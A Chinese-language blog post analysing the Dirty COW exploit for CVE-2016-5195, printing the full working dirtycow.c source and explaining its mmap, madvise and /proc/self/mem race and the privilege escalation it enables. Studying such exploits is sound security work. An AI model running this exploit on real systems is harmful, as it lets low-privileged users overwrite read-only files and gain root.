dirtycow.c代码分析 CVE-2016-5195

r囧r小猫 2023-01-11 09:07 95阅读 0赞

#include <stdio.h>
    #include <sys/mman.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <string.h>
    #include <stdint.h>
    
    void *map;
    int f;
    struct stat st;
    char *name;
     
    void *madviseThread(void *arg)
    {
      char *str;
      str=(char*)arg;
      int i,c=0;
      for(i=0;i<100000000;i++)
      {
    
        c+=madvise(map,100,MADV_DONTNEED);//madvise 告诉希望怎么处理map指向的内存 
        /*
        函数建议内核，在从 
    addr 指定的地址开始，长度等于 
    len 参数值的范围内，该区域的用户虚拟内存应遵循特定的使用模式
    内核对addr～addr+len这部分内存进行何种操作。在常规建议值中，除了MADV_DONTNEED都不会影响程序的语义，只是会影响性能。
    MADV_DONTNEED 近期将不会被访问。内核将释放掉这一块内存以节省空间，相应的页表项也会被置空。
    */
    
      }
      printf("madvise %d\n\n",c);
    }
     
    void *procselfmemThread(void *arg)
    {
      char *str;
      str=(char*)arg;
    
      int f=open("/proc/self/mem",O_RDWR);
      int i,c=0;
      for(i=0;i<100000000;i++) {
    
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
      }
      printf("procselfmem %d\n\n", c);
    }
     
     
    int main(int argc,char *argv[])
    {
    
      if (argc<3) {
      (void)fprintf(stderr, "%s\n",
          "usage: dirtyc0w target_file new_content");
      return 1; }
      pthread_t pth1,pth2;
    
      f=open(argv[1],O_RDONLY);
      fstat(f,&st);
      name=argv[1];
    
      map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
      printf("mmap %zx\n\n",(uintptr_t) map);
    
      pthread_create(&pth1,NULL,madviseThread,argv[1]);//创造一个线程pth1执行madviseThread函数并给这个函数传参argv[1]]
      pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    
      pthread_join(pth1,NULL);//pthread_join()函数，以阻塞的方式等待thread指定的线程结束。
      pthread_join(pth2,NULL);
      return 0;
    }

不懂函数解释：

int fstat(int fildes,struct stat \*buf);函数说明 fstat()用来将参数fildes所指的文件状态，复制到参数buf所指的结构中(struct stat)

mmap函数 将文件或其他对象映射到虚拟内存上，通过对虚拟内存修改来实现对文件的修改

*  原型: void \*mmap(void \*addr, size\_t length, int prot, int flags, int fd, off\_t offsize);
 *  返回值: 成功则返回映射区起始地址, 失败则返回MAP\_FAILED(-1).
 *  参数:
    
     *  addr: 指定映射的起始地址, 通常设为NULL, 由系统指定.
     *  length: 将文件的多大长度映射到内存.
     *  prot: 映射区的保护方式, 可以是:
        
         *  PROT\_EXEC: 映射区可被执行.
         *  PROT\_READ: 映射区可被读取.
         *  PROT\_WRITE: 映射区可被写入.
         *  PROT\_NONE: 映射区不能存取.
     *  flags: 映射区的特性, 可以是:
        
         *  MAP\_SHARED: 对映射区域的写入数据会复制回文件, 且允许其他映射该文件的进程共享.
         *  MAP\_PRIVATE: 对映射区域的写入操作会产生一个映射的复制(copy-on-write), 对此区域所做的修改不会写回原文件.
 *  pthread\_join使一个线程等待另一个线程结束。
 *  /proc/self/mem
    
    这个文件是一个指向当前进程的虚拟内存文件的文件，当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间，并无视内存映射时的权限设置

这段代码仅仅从表面代码分析就干了三件事，

1.打开一个文件用只读的方式，然后将文件内容映射成一段虚拟内存。

2.创建两个线程，一个线程是madviseThread释放刚刚映射的虚拟内存，另一个线程是procselfmemThread不断往当前进程虚拟内存文件里写内容。

3.就是linux底层处理内存机制了。这个我要再研究研究 不想研究了这个仔细研究得去看源码。。。。源码太多了

Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞以欺骗系统修改可读的用户空间代码然后执行，一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限，比如攻击者修改存在的\*\*id文件去提升权限。

参考：[https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/][https_xuanxuanblingbling.github.io_ctf_pwn_2019_11_18_race] 这个文章还行很详细 细节部分太烦了得自己看慢慢琢磨

[https_xuanxuanblingbling.github.io_ctf_pwn_2019_11_18_race]: https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/